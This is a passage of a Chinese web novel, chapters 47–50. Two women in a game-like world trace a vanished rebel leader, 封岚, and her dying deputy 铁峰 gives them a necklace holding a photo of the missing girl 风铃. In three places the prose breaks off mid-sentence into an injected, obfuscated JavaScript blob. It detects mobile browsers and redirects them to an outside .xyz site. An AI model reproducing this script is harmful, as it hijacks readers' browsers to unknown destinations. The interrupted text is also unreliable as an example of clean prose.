唱鹿快速整合了一下手头的信息,锁定目标。 “我要见铁峰。” 游隼先是惊讶,继而无语。 未免不得罪唱鹿,只能摆出一副无奈的表情,“联邦正在到处追捕刺鲸的成员,连我这种找不到证据的小喽啰都被抓去分局蹲过几天。那群高层早就收到风声躲起来了!鹿姐,别怪我说话太直白,你是想见他,可他凭什么冒这么大风险出来见你?” 唱鹿自有办法。 在此之前,她必须先得到一个肯定的答复。 “游隼,我们来做个交易。我保证让你的妈妈安全地离开伽马地区,你帮我去给铁峰传个信。” 她从耳后顺出一小撮头发,拿起茶几上的水果刀将其割断,再用纸包好折成三角。 “你把这个交给他,就说有人要见他。传完信,不管铁峰愿不愿意来见我,你都自由了。” 隔着茶几,唱鹿把信纸递过去。 游隼的手在半空中悬停了十来秒,握住那枚纸三角形,“好。” - 阳台上,唱鹿裹着一张薄毯,蜷缩在藤编吊椅里。 梦里的时间与现实不同步,梦里过完一整天,现实也只过去了一个小时。 她醒来时,扶鸢还在沉睡。 急着去找游隼,便没有叫醒扶鸢。 等她办完事回到家,理论上应该已经在家的扶鸢,没有见到踪影。 唱鹿没有出去找人。 她脑子很乱,心情也很差。 再者,她和扶鸢的冷战并没有真的结束…… 夜风习习,吹得她后颈发凉。 唱鹿拽紧身上的毛毯,借着这股能让头脑清醒的凉意,开始整理思路。 现在最关键的线索是封岚。 已知: 二十七个纪年前,封岚是联邦的人,同时还是刺鲸的首领。 封岚认识风铃。 未知: 联邦是否知晓封岚是刺鲸的首领? 封岚不可能同时出现在两个地方,因此刺鲸在酒店公开招募时的那位首领必然是假扮的,那么皮下又是谁呢? 可以排除铁棍蒙面男。 扶鸢说假扮的人身高有一米七五以上,铁棍蒙面男还没她和扶鸢高,估计不到一米七。 还有,封岚为什么会认识风铃,难道风铃八岁时就入梦了? 一个八岁的小女孩,如何结识刺鲸的首领,或者说如何结识联邦第一分局特警大队长? 最后一个未知,也是唱鹿最想弄清楚的。 她和封岚,到底是什么关系? “滴滴。” 指纹解锁的提示音响起。 唱鹿应声望向大门。 是扶鸢回来了,手里提着刚从超市里买回来的菜和肉。 玄关到阳台没有做隔断,扶鸢抬眼见到她,视若无睹。 没有招呼,没有责备,径直进了厨房。 一阵忙活后,她拿着一瓶汽水出来,在客厅的沙发坐下。 这张沙发是新的,可以展开变成一张床。 此时两人的直线距离不到两米。 扶鸢主动开口道:“聊聊?” 唱鹿:“行。” 这一幕好像昨日重现。 当时扶鸢痊愈初醒,唱鹿下班回到家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017098|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人第一次在双方都完全清醒的状态下碰面,也有同样的对话。 依旧是唱鹿先发言,“那就从风铃开始吧。你说过,风铃的瞳色和我的发色一样,都是浅妃色。” “很接近,不完全一样。”扶鸢是说过,但那时她意识不清,没能把话说全,“风铃的眼睛是妃色,比你的发色更深。” 唱鹿说:“可我第一次见到风铃,她的眼睛是黑色的。” 扶鸢懂她想表达意思,“我们认识的风铃,不是同一个风铃?” 唱鹿摇头表示不知道。 按照扶鸢的说法,风铃被带走时还很小,只有六岁。 而她见到的风铃是个成年人,女大十八变,指不定瞳色也变了呢? “记不记得我第一次和你提到风铃时你的反应?” “嗯。” “后来我才想明白,你说你怕我会伤害她,是说谎。” 的确。 撒谎是为了隐瞒一个指向,可扶鸢还是看出来了。 唱鹿的视线跨过围栏,望向远处被迷幻霓虹包裹的钢铁森林。 那些从高楼顶段照出的镭射光线,把天上的云都镀上了一层蓝紫色。 她说:“我一直怀疑风铃和那件事有关。” 那件事,是指她觉醒自我意识。 “变化的前一晚我见过她,第二天一早我就……”唱鹿习惯在关键处断开,避免被监测到,“在日之后,我再也没见过风铃。” 所以她才会在扶鸢初次提到风铃时显得那么慌乱。 扶鸢不敢苟同,“如果风铃有这个本事,为什么非要选中你?你有什么特别的地方吗?” “我只是个普通人。”唱鹿把下半张脸缩进毛毯里,“可一切种种都指向风铃,现在又牵扯到了另一个人……” 封岚。 封岚和她到底是什么关系? 唱鹿再一次在心底发问,然而还是没有答案。 “我脑子堆满了问号,这些问号就像雨后春笋,不断冒出来。风铃在哪儿?我为什么会……?她和我是什么关系?甚至有时候还会想,我是谁?如果我的世界本就虚假,那我存在的意义到底是什么?” “或许等我们找到风铃,一切就会有答案。” 也许吧。 唱鹿的目光发沉。 这次入梦原本是个好机会,如果能把握好,应该有许多问题都能得到解答……可惜她太冒进了。 扶鸢平静道:“封岚能轻易抓住你和我,是因为我们的心不在一起。入梦到醒来,我们有一半以上的时间是分开的。你没有告诉我你的下一步,我也不知道该如何配合你。” 唱鹿的双唇翕动,欲要开口,终是止住了。 她独狼惯了,总是很难相信别人。 一旦信任产生裂痕,彻底崩塌只是时间问题。 说白了。 在知道扶鸢有事瞒着她后,唱鹿没有选择分道扬镳,纯粹是因为链路还在。 共享生命,让她不得不在产生信任危机后继续和扶鸢合作。 可正如扶鸢所说,失败正是因为没有配合。 说到配合,封岚就布局得很好。 有人当前锋刺杀外交官,有人在底下埋伏接应,清理后续追上来的麻烦。 有些事可以单打独斗。 可有些事,必须团队合作才能完成。 扶鸢唤她,“唱鹿。” 她回眸。 “我向你保证,以后有什么都会第一时间告诉你。” “……” 两人对视了很久很久。 久到唱鹿的眼睛开始发酸,才轻声道:“你这句话真好听,像在表白。” 她下了吊椅,赤脚走进客厅,“但最好的信任,是永不相问。你不说,我不问。你若想说,我洗耳恭听。” 唱鹿回到卧室,关门前留下一句。 “晚安,扶鸢。” 扶鸢会心一笑。 “晚安,唱鹿。” 48. 观星 048. “今天把大家叫到会议室,是要宣布一个好消息。” 领队话还没说完,底下的人已经在窃窃私语。 大家都心知肚明,领队这是准备高升去了,不舍之余也都羡慕得紧。 也有向唱鹿投来目光的。 盼着这位即将上任的新领队能不负众望,带领安保队走向新的道路。 唱鹿保持着原有的坐姿,目不转睛地凝视着领队。 完全不对他人的翘首以盼以任何回应。 她有布局谋划、指挥作战的才能,以往领队有事不能亲自带队,都是唱鹿这个副手顶上。 可有一点她比不上领队,那便是人脉关系。 如今伽马地区境内安保队众多,有自主成立的,也有挂在联邦名下的。 TP21安保队属于为数不多的后者,全仰仗领队的亲戚关系。 可正如苍镹先前所说,倘若领队高升,起初还能分安保队一杯羹,长久下来呢? 无亲无故,帮你是情分,不帮是本分。 唱鹿自觉没能耐独自担负起这一群人的衣食住行。 她等着,等领队宣布由她接任,再站出来表态。 领队站在平日里开会时的固定位置上,说:“想必大家也都知道了,联邦人手紧缺,上头给我递了聘请函,我答应了。” 底下响起稀稀落落的掌声,有几个比较多愁善感,正偷偷抹眼泪呢。 “然而,这不是我今天要宣布的好消息。我想告诉大家的是——”领队话锋一转,“上头已经决定了,要收编整个TP21安保队。” 此起彼伏的惊呼,甚至有人尖叫了起来。 人在家中坐,铁饭碗从天上来,换谁都该觉得高兴。 除了唱鹿。 经过苍镹的点拨,她早有心理准备,可真正听到消息时还是忍不住嘴角下压。 在一派欢喜中,这份沉默格外显眼。 领队拍拍手,示意各位先安静听她说完,“有好消息,自然也有坏消息。” 会议室内噤若寒蝉。 她叹气道:“收编后,大家会分到不同的分局去,以后就很难再见了。所以,我们今天有两个任务,一是收拾东西准备进联邦,二是收拾完后咱们中午找个饭馆好好搓一顿,我请客。” - 唱鹿的东西没多少。 一个保温杯,几件常服,两双鞋子,往箱子里一装,完事儿了。 她拾掇完毕,领队正好来敲门,“唱鹿,你出来一下。” 于是在众人好奇的注视下走出了集合室。 两人一路往外走,直至走出大门,在路边找了一张石长椅,各自左右坐下。 领队和她交流从不说废话,一上来就直入主题,“唱鹿,第十三分局的特警一队队长苍镹点名要你。” 唱鹿满头问号,“哈?” 她很难控制不露出疑惑又拧巴的表情。 苍镹点名要她? 她明明拒绝过了,还是当面拒绝! 这人难道不知道强扭的瓜不甜吗? “其他人都是上头随机分配,哪里需要就往哪里去。不出意外的话,都是文职,走运点的可以分去巡警队。”领队说,“比起文职或巡警,特警的薪资更高,待遇也更好,绝不会埋没了你。而且,我看得出来苍镹很欣赏你。” “我觉得她是想把我留在身边,方便观察我是不是和刺鲸有勾结。” “那岂非更好?趁这个机会把身上的嫌疑洗清了。” 唱鹿干笑。 以目前的情况来看,怕是怎么样都洗不清了。 她问:“我现在辞职还来得及吗?” 领队投来遗憾的眼神,“来不及了。别人不知道,苍镹这人我还是有点了解的。她是出了名的铁拳铁腕铁石心肠,又名三铁队长,不达目的誓不罢休。她选中了你,哪怕你跑到另外两个地区,她也有千百种方法把你逮回来,押着你入职。” 行吧。 唱鹿长叹一口气,“我认命。” 领队笑道:“你也不用这么悲观。我和苍镹说好了,你入职后实习期只需要一个周期,周期结束就能转正。转正后分局会给你安排职工宿舍,如果你不想住宿舍,作为正职还能拿租房补贴。平日里如果没有任务,你可以和以前一样出去接私活,不要耽误正事就行。” “听起来还不错。”唱鹿苦涩,“那你呢?” “上头安排我去第一分局。这段时间的清剿任务,第一分局是主力军。几轮下来,死的死,伤的伤,差不多也到尾声了。” 领队率先起身,“走吧,回去继续收拾东西,明天可就不在这里了。” 收东西,搬东西。 忙忙碌碌间到了饭点。 领队请客,众人去了平时舍不得去的高档西餐厅,狠狠搓了一顿。 临别时该抱的抱,该哭的哭。 各自散场。 唱鹿是最后走的。 她站在西餐厅门外,看着领队坐上新买的跑车,婉拒了对方提出送她一程的好意。 “再见,领队。” “还叫领队呢?”俞瑶两手搭在方向盘上,透过摇下的车窗和唱鹿说话,“重新认识一下,我叫俞瑶。” 唱鹿笑笑,说不出心里什么滋味。 然后挥挥手,“你好俞瑶,再见俞瑶。” 嘴皮子耍得爽快,到底还是有些难过。 她不是铁石心肠的人,目送跑车升空飞走,鼻头竟有点发酸。 这一分别,往后可不知道何时才能再见了。 下午无事可做。 暂时还不想回家,唱鹿打算在附近走走,散散心。 经过一家回转寿司店门口时,通讯器响了。 是一则匿名来信。 [今晚八点,海边观星台。他只见你。] * 未央阁,五楼。 檀香缭绕,美人含笑。 老板娘将一盏清茶推到唱鹿面前,“请。” 唱鹿道过谢,举起青花瓷杯抿了一口。 她不懂茶,品不出好坏。 只觉得清香扑鼻,甚是好喝。 谁知老板娘突然来了一句,“我该向你道喜,明日可就是公职人员了。” 唱鹿生生呛住。 连咳好几声,咳到双眼通红,才有余气说:“你这么快就知道了?” “如若不能掌握一手咨询,我怎能做这门生意?”老板娘轻摇折扇,“你今日登门,想必不是为了与我品茶闲聊的。有事便问罢,我必定知无不言言无不尽。” 这话说得唱鹿有点不好意思。 总觉得自己有种有事钟无艳无事夏迎春的渣女感。 可来都来了,不问白不问。 “封岚,这人你知道多少?” “她啊~”老板娘稍加思索,“她曾是联邦第一分局的特警大队长,公考时以高分进的联邦。年纪轻轻,又是一介平民出生,几载光阴便能身居高位,甚是有本事。” “然后呢?” “然后就没有啦。” “……” 老板娘以扇掩面,眨了眨眼睛,眼底尽是无辜,“你有所不知,联邦乃是一堵密不透风的墙。一朝入墙内,自身再难出来不说,就连声音都传不到墙外。人人都说我是江湖百晓生,可我的手再长,耳目再多,也钻不进墙里去打听消息。纵使有门路,我胆子小,万万不敢。人活着,总比死了强。” “她是刺鲸的首领。”唱鹿放下茶杯,观察老板娘的神色,“这事你知道吗?” “有意思。”老板娘眯眼深思,“现下知道了。” 噢,那就是以前不知道咯。 唱鹿试探道:“这个情报值多少钱?” 老板娘嫣然一笑,“一文不值。” “为什么?” “此人已有数十载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023186|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不曾露脸。换言之,她失踪了。” 这倒是符合游隼说过的,“首领已经有二十几个纪年没露过脸了”。 可不就是失踪人口。 封岚的线索断了,问下去也没有意义。 但唱鹿还有问题,“那就聊聊铁峰吧。这个人,你又知道多少?” “铁峰,刺鲸的副首领,公开露过几次脸。”老板娘说,“最近一次出现是在三个周期前,据说得了重病,到处求医问药,后来也没了踪迹。” “他和封岚是什么关系?” “自幼相识,相依为命,后来大吵一架,分道扬镳,再无交集。如若你所说属实,封岚确为刺鲸的首领,那所谓的争吵离心,大抵是两人演的一出好戏罢了。” - 晚六点四十五分。 扶鸢结束今天的私活,在未央阁与唱鹿汇合,共进晚餐。 唱鹿一如既往地点了一份牛肉盖饭,不加葱花。 晚七点半。 唱鹿驾驶独轮摩托,载着扶鸢,一路向海边观星台疾驰而去,并于二十分钟后抵达。 她们下车的地点离观星台还有段距离。 必须步行经过一条很长的海边栈道,沿着起伏的山脉往深处走,才能看到那座观星台。 观星台不同于天文台。 它没有高端的天文设备,只是一座光秃秃的建筑,外表像一座矮胖的塔。 很少有人会来这里,除了一些追求浪漫的小情侣。 “时间到了。”扶鸢提醒道。 现在是八点整,铁峰和唱鹿约定在观星台上见面的时间。 匿名来信中写明了只见唱鹿,唱鹿也打算只身前往。 单刀赴会,不代表没有后手。 她把摩托车钥匙交给扶鸢,“按计划行事。” 扶鸢点头,“好,你要小心。” 唱鹿拾阶而上,沿着海边栈道往观星台走去。 栈道是木头做成的,长久的风吹日晒,已经出现了大片的腐坏,人踩在上面吱呀作响。 一不小心还会踩空,半只脚陷到下面去。 她一步步谨慎地往前走,把所有问题在脑海里过了一遍。 越靠近观星台,越紧张兴奋。 可当她真的登上观星台顶,心情反而平静下来。 铁峰还没到,也许是迟到,也许是爽约。 各种情况唱鹿都有心理预期,她决定等等。 等半个小时,等不到人就回家。 只可惜今天天气不好,云层太厚,看不到几颗星星。 老天不赏脸,大海倒是给面子。 观星台面朝数据海。 她远眺而去。 只见月光下有海豚跃出水面,一只接一只,带着某种韵律,像是在跳舞。 随着海豚之舞抵达高潮,一阵空灵又魅惑的歌声从海天交接的地方传来,那是人鱼在唱歌。 民间有传言,同时看到海豚之舞和听到人鱼之歌,说明今晚有好事将要发生。 唱鹿闭上眼,对着大海许愿。 希望今晚所有疑惑都能得到解答。 “谁!” 一察觉到有动静,她即刻睁眼拔枪瞄向身后。 来人很高,可年纪上来了,终究比二十来岁时稍微缩减了一些。 浑身肌肉还算结实,整体少了几分威慑力。 五官倒是没变,老实憨厚的模样,眉眼间更多了些许与身份不符的平和。 唱鹿叫出他的名字,“铁峰。” 铁峰在楼梯口站定,两条眉毛扬起,满是惊喜地看着她。 准确说,是看着唱鹿的头发。 “你的头发,你头发的颜色……我还以为……”他有点结巴,“你是我平生见过的第二个有这种发色的人!” “我知道,第一个是封岚。” 唱鹿的枪口还是对准他,冷冷道:“这就是我必须见你的原因。” 49. 旧事 049. 铁峰低低笑了两声。 脸上透出疲倦,病态龙钟。 “我叫铁峰。”他迎着枪口朝唱鹿走近几步,“是刺鲸的副首领。” “至今还是副首领,不觉得吃亏吗?” “封岚和我是青梅竹马,自小相依为命。我们之间,没有吃不吃亏,只有愿不愿意。”铁峰绕过唱鹿,走到观星台的边缘,“刺鲸的首领就像这天上的月亮,永远只有一个。” 唱鹿把枪收起,也踱步过去站着,“你应该知道封岚的下落吧?” 铁峰摇头,“她失踪了,消失在二十四个纪年前的某一天。” 唱鹿怀疑道:“你没找过她?” 铁峰平静得像在诉说一件无关紧要的事,“封岚交代过,不要找她。” 人在无语到极致的时候是真的会笑。 唱鹿喉咙深处发出嗬一声,“她让你别找,你就真的不找了?” 说好的青梅竹马呢? 说好的相依为命呢? 还以为感情有多深厚呢,看来是比纸还薄。 海风刮来,铁峰眯起眼睛,表情像在回忆,“她一向说一不二。倘若我执意去找她,她只会消失得更快。只要她想做,没人能阻止,这就是封岚。” 唱鹿了然,“听起来挺极端。” 又问:“你见到我的时候一点也不惊讶,因为你知道她不会再出现了?” “可以这么说。”铁峰回头看她,无波无澜的双眼早已接受了所有。 “你明知道给你传信的不是她,现在联邦又在到处逮捕刺鲸的人,你还敢出来见我。” “是,我一定会来。”铁峰坚定道,“她离开前告诉我,很久之后会有一个浅妃色头发的女人来找我,让我一定要等。我不知道她说的很久是多久,只能一直等,等到现在。” 唱鹿皱起眉头。 难道封岚有未卜先知的能力? 能够窥见未来将会发生的事情? 或者,她早在二十多个纪年前就已经安排好了今天的一切? “她还预言过什么?” “你会想知道你是不是她的孩子。” “答案呢?” “她说不是。”铁峰的视线再次落在唱鹿的头发上,“可我见到你,说实话,我不能肯定。” “你最后一次见到封岚是什么时候?” “AC467纪年。” “我出生于AC470纪年。”唱鹿觉得有可能,真的有可能。 铁峰的眼底闪过一丝悲凉,悄无声息地转移了话题,“她说你会想知道她是谁。” 唱鹿脱口而出,“她是刺鲸首领,也是联邦的特警。” 铁峰凝视她。 像在看一个许久不见的故人。 “这段故事有点长,你愿意听我慢慢说吗?” * 铁峰第一次见到封岚,是在街头翻垃圾桶的时候。 当时他八岁。 因为性格木讷,在孤儿院里备受欺凌,于是找机会逃了出来。 八岁的小孩,哪怕是男生,逃出来也没有谋生的能力。 不吃不喝好几天,饿到差点昏厥,决定去垃圾桶里找点生机。 挺走运,翻到了几支过期营养液。 喝得正香,有人找过来了。 流浪汉也分地盘,有地盘就有恶霸。 恶霸说铁峰未经允许翻垃圾桶,损害了他的利益,不容解释就开始打人。 铁峰被揍得鼻青脸肿,恶霸还不解气,要往死里打。 这时,又有人来了。 那人说话的声音就像一股清冽的泉水。 冷冰冰的,没什么情绪,“他打你,你不会打回去?” 铁峰本来还抱着头,兴许示弱就能让恶霸放过他。 可听到这句话,不知道哪里来的勇气,他开始反抗。 一鼓作气,再而衰,三而竭。 加上寡不敌众,铁峰很快败下阵来。 “傻瓜,打不过,不会跑吗?” 那人拽住他的手,拖着他逃跑。 他们一路狂奔。 穿过几条窄巷和胡同,上了车流入织的大马路,再翻过一座桥,进了一座小山丘,最后在一间破平房里停下。 这一路,那头浅妃色的短发一直在他眼前晃。 破平房是封岚的家。 入夜后,她问他:“你爸妈呢?” “没有。” “其他亲人呢?” “都没了。” “噢,我也没有。那以后我们一起吧,两个人总比一个人强,怎么样都能活下来。” 两人就这么搭伙过起了日子。 封岚教他街头生存法则,告诉他哪些垃圾更值钱,教会他很多野外求生技能。 到了春天,他们还会去打猎。 用捡来的废金属自制弓箭,或者做一些小陷阱。 正如封岚所说,两个人总比一个人强。 铁峰越长越高,越来越壮,再依靠封岚灵活的脑子,日子一天比一天好。 一晃,两个小孩长大了。 铁峰力气大,被港口的工头看中,当了装载卸货的搬运工人。 封岚聪明有头脑。她一边打工,一边自学,早年没接受过系统教育,也还是成功考上了高中和大学。 大学刚读完一学期,封岚报名参加了联邦组织的射击比赛。 因为冠军奖金足有一万通用币。 这个决定彻底改变了他们的人生轨迹。 封岚比赛时的表现过于优越,经常连中三次红心,毫无悬念地拿下了冠军。 赛后,裁判给她递了名片,邀请她参加公考,进入联邦工作。 当时离公考只剩一个周期的时间,封岚原以为自己会落榜,结果正好踩在过关分数线上。 她成了一名巡警。 那段日子像做梦一样美好。 铁峰升任为港口小组长,不用再做体力活。 而封岚在一次日常巡逻中偶然得到了魔方,拥有了赐福的她,顺理成章地被分派到特警队。 有了钱,吃喝不愁。 还租了间更好的房子住,站在阳台能够看到海景。 唯一的缺点是封岚越来越忙。 有了赐福,联邦更加看重她,各类重大任务都安排她参加。 同在一个屋檐下,那段时间就连铁峰都见不上封岚几面。 日子一天天过。 职位越升越高,钱越赚越多。 有一天铁峰下班回到家,看见封岚坐在沙发上发呆。 她一动不动。 好像灵魂被抽空,只剩下躯壳还在人间,双目无神地望着远方。 - 讲述至此,铁峰停下了。 他转向西北,双唇紧紧抿成一条细线,品味着口中的苦涩。 西北方,唱鹿也望过去。 没有看到什么值得关注的东西。 静默良久后,铁峰道:“听游隼说,N278港口已经不存在了。” “是。” 难道铁峰以前工作的港口就是N278港口? 那可真是有点太巧了。 铁峰又问:“是那个小姑娘做的吧?” 唱鹿一时间没反应过来他口中的小姑娘指的是谁。 脑筋卡壳了数秒,明白了。 以铁峰的年纪,确实可以称呼苍镹为小姑娘。 两人应当有十来岁的年龄差。 唱鹿再次答道:“是,她用了往生极乐。” “往生极乐。”铁峰目光一沉,“这个名字,还是封岚取的。” “……” 唱鹿不想说话。 她对这个充满恶趣味的名字没有一点好感。 铁峰察觉到她反应不对,苦笑说:“往生极乐的含义,不是你如今看到的这样。那天封岚带队出去执行任务,敌方太强,上头便暗示她可以动用绝招。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027042|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不知道这招会带来什么后果,但为了取胜,还是用了。结果,对面的人都死了,她带出去的队友也都死了,连尸体都不留。事后,当时的大队长安排她去了心理理疗室,结果联邦的心理医生告诉她,牺牲是为了更美好的未来。她无法接受这个理由,从此再也没用过这一招。” 唱鹿突然对封岚产生了深深的同情。 被上级欺骗,亲手杀了在一起共事多年的伙伴……会崩溃吧。 “我那天在家里见到她,她刚结束心理治疗回来。后来很长一段时间,她经常会在行动中突然停下,像个失忆患者,完全放空。我陪她去找黑医,黑医说她这是严重的心理创伤导致的解离现象。” “为此,联邦不得不她放了个小长假。假期过后,封岚有了个很大胆的想法。” 唱鹿猜到了,“她决定成立刺鲸。” 铁峰点点头,“对联邦而言,利益最为重要,人命不过是获取最大利益途中的垫脚石罢了。每一个人在联邦手中,都只是一枚微不足道的棋子。刺鲸成立的初衷,是想要庇护联邦不管的人,那些老弱病残,还有街头流浪的孤儿们。” 以目前刺鲸的情况来看,怕是事与愿违了。 * 刺鲸壮大的速度惊人。 从名不见经传的小组织,到能和血蟒相提并论,仅仅只过了半个纪年。 身为联邦公职人员,封岚不能在人前露面。 组织内部若有什么事需要高层站出来,都是铁峰去做。 为了以防万一,他们还联合演了一出戏。 惊天动地大吵一架,最后以封岚搬走并住进联邦安排的员工宿舍落幕。 至此,双方再无明面上的往来。 不久之后,正如封岚料想的,联邦注意到了刺鲸。 联邦一边想用刺鲸来制衡如日中天的血蟒,一边又担心刺鲸日后会一家独大。 来去拉扯,血蟒终于被耗空,刺鲸也真的脱离了联邦的掌控。 联邦对刺鲸第一次挥刀,早在二十四个纪年前。 抓了一批人,放了一批人,又杀了一批人。 顺藤摸瓜揪出了不少骨干,但凡“有罪”的都被清算掉了。 一□□作下来,刺鲸少了三分之一的人。 联邦又趁机把自己的眼线安插到组织内部,开始追查那位神秘的首领。 - “AC467纪年,二月九日,我最后一次见到封岚。” “联邦已经开始对她起疑了。刺鲸剩下的人必须躲起来,而她必须离开。从那之后,我再也没见过她。” 铁峰不再说话了。 他双手搭在观星台的护栏上,遥望在月光下波光粼粼的数据海。 海豚之舞和人鱼之歌早就消失了。 此时的海面上安静得可怕,似乎是在酝酿着一场风暴。 唱鹿猜想,“有没有可能是联邦把她关起来了?” “小姑娘,你该不会以为我真的什么都没做吧?”铁峰反问时,眉宇有种释然,“我尝试过在联邦里安插卧底,这些卧底最后都没了踪迹。不仅伽马地区,另外两个区我都派人找过,始终了无音讯。” “刺鲸现在也……” “我老了,哪怕耗尽心力,可权利早就被架空了,还能坚持什么呢?没了封岚的刺鲸也不是当初的刺鲸了。” 大厦倾颓。 他孤身一人又如何撑住? 铁峰把手伸进外套里,从内口袋里取出一条项链,“这是她留给我的,让我等你来找我时交给你。” 很普通的银制项链,因为时间的流逝,银色的部分已经氧化发黑了。 项链坠着一个小圆球。 轻轻一按,圆球便打开了。 看到圆球里的东西,唱鹿的呼吸都变沉重了。 半球里内嵌着一张发黄的单人照。 是风铃。 照片背景有飘落的白花。 一缕柔光落在她噙着笑意的妃色眼睛上。 50. 任务 050. “照片的上这个女孩,你、你认识吗?” 唱鹿的嗓音有点发哑,因为激动还结巴了一下。 找了这么久,终于有了点线索。 她很难保持平心静气。 二十四个纪年以来,铁峰已经把项链里的照片反复看过无数次。 他颔首,“她叫风铃,有段时间和封岚走得很近,但我只见过,没有接触过。自从封岚失踪后,她也消失不见了。” 不,不对。 按照时间换算,游戏内三个纪年相当于现实的一年。 封岚失踪于AC470纪年,现实中的风铃只有九岁。 唱鹿难以置信,“当时她就长照片上这样?” 饶是铁峰这般不大会观察的人,也听出了她满腔的质疑,“对。有问题?” 问题可大了! 一个在现实中只有九岁的小女孩,怎么可能以一个成年人的形象出现在游戏里? 这事问铁峰也不会有答案,必须去问扶鸢。 而且,唱鹿有一种直觉。 铁峰给她讲故事的时候,还隐去了一些事情。 能说的都已经说了,剩下那些不能说的,只能由唱鹿自己继续去挖掘了。 唱鹿准备离开。 铁峰依旧站在原来的位置,若有所思地望向大海。 “你接下来准备怎么办?”唱鹿问。 联邦还在到处追捕在逃的刺鲸成员,身为刺鲸副首的铁峰必然是重点追击目标,处境堪忧。 不知道这趟出来,还能不能安全回去。 铁峰扯出一抹病态的笑,出来一趟好像让他憔悴了不少。 他低声道:“留给我的时间不多了,这具身体恐怕顶不过两个周期。” “……” 唱鹿还想问他得了什么病,兴许庸医能治呢? 可见铁峰的态度,已然对自己将死的事实感到坦然,便没有问。 “如果你找到封岚,记得回来告诉我。”铁峰最后看一眼她的头发,“我会在这里等你。” 这一眼,唱鹿很清楚他看的不是她,而是在看封岚。 她完全不感到冒犯,倒有点心酸,“好,如果我找到她,我一定会来。” “还有,见过那条项链的,这世上不超过五个人。除了我和风铃,如果以后你还见到其他人认识这条项链,你可以完全信任他们。” 唱鹿攥紧手中的项链,“好,我记住了。” 铁峰一笑,然后猛烈地咳嗽了起来。 观星台上很暗,两人又拉开了一段距离,唱鹿还是听见铁峰呕出了血。 他真的病得很严重。 坚持到现在,完全是凭意志力。 封岚交代给他的最后一件事,一定要做到。 如今该见的人见到了,该给的也给了。 他体内一直吊着的那一口气也松懈了下来。 铁峰双手扶住半人高的围墙,强撑着站直身子。 不想让唱鹿看到他的颓唐。 随着脚步声远离,铁峰感到久违的心安。 他终于可以放心地走向此生的终点了。 * 扶鸢坐在沙发上,捧着装有妹妹照片的小圆球,久久不语。 她保持这个姿势有十多分钟了,期间情绪几度变化,但没有说过一句话。 风铃被带走时只有六岁。 而照片上的风铃应该有十七岁,模样看得出是个成年人了。 那双妃色的眼睛。 和小时侯一模一样,扶鸢永远也忘不了。 真的是风铃。 长大后的风铃。 扶鸢不自觉热泪盈眶,声音也有点哽咽。 她偏头转向阳台,唱鹿正和小猫似的裹着毛毯窝在吊椅上。 扶鸢问:“这是……这张照片上的样子,是你……是你见过的、风铃吗?” 唱鹿如实答道:“除了眼睛不同,其他都一样。” 扶鸢破涕而笑,笑完又落下两行清泪。 也不知道是高兴还是难过。 她想摸摸照片上风铃的脸,手指伸过去服复而握紧了。 她不敢。 照片就一张,弄坏了可怎么办。 于是细细摩挲着圆球的边缘,反反复复,舍不得放下。 她再次抬头看向唱鹿,“我能……” 不必说全,唱鹿知道她的意思,“拿去吧,项链留给我就行。” 扶鸢嚅嗫着,把即将涌出的眼泪咽回肚子里。 由衷说了声:“唱鹿,谢谢你。” 等扶鸢的情绪稳定下来后,唱鹿言简意赅地说了在观星台上发生的事。 她的疑问,扶鸢了然,“每个人的载体只有一个,是三大联盟根据玩家的现实情况专门添加到游戏中的,因为虚拟乌托邦打着的旗号就是‘最真实的第二人生体验’,所以初次进入游戏时,玩家现实是什么模样,进入游戏中就是什么模样。进入游戏还需要经过基因匹配,杜绝了盗号的可能。” “可时间流速不一致,不是吗?” “是,所以我们也不是随时都能进入游戏。”扶鸢说,“我购置了全套游戏装置后,过了一段时间才被通知可以进入游戏,就是在等载体的年龄与我的现实年龄相符。我打个比方,我第一次进入游戏是十六岁,我的载体也是十六岁。我在游戏中过完了一生,我的载体死亡。此时,我现实年龄为三十岁。如果我再想进入游戏,就必须等待下一个载体出生,等到她年满三十岁。” 唱鹿感到头疼,“按你这么说,两个风铃都是风铃。” 扶鸢摇头,“三大联盟规定,允许游戏的最低年龄是十六岁。按照三比一换算,理论上你最早能见到风铃时间应该是在AC488纪年。” “那她怎么可能出现在AC467纪年或更早之前……” 冷风吹来,唱鹿打了个哆嗦,突然想到了答案,“赐福!如果风铃的赐福是可以随意穿越时空呢?” 扶鸢也想到了这个可能,但这个答案不能解释所有问题。 “如果都是同一个风铃,为什么你见到的风铃不是妃色眼瞳?” 唱鹿长吁一声,“哎——” 她讨厌这个世界,讨厌这场游戏。 为什么有那么多危险,那么多未解之谜。 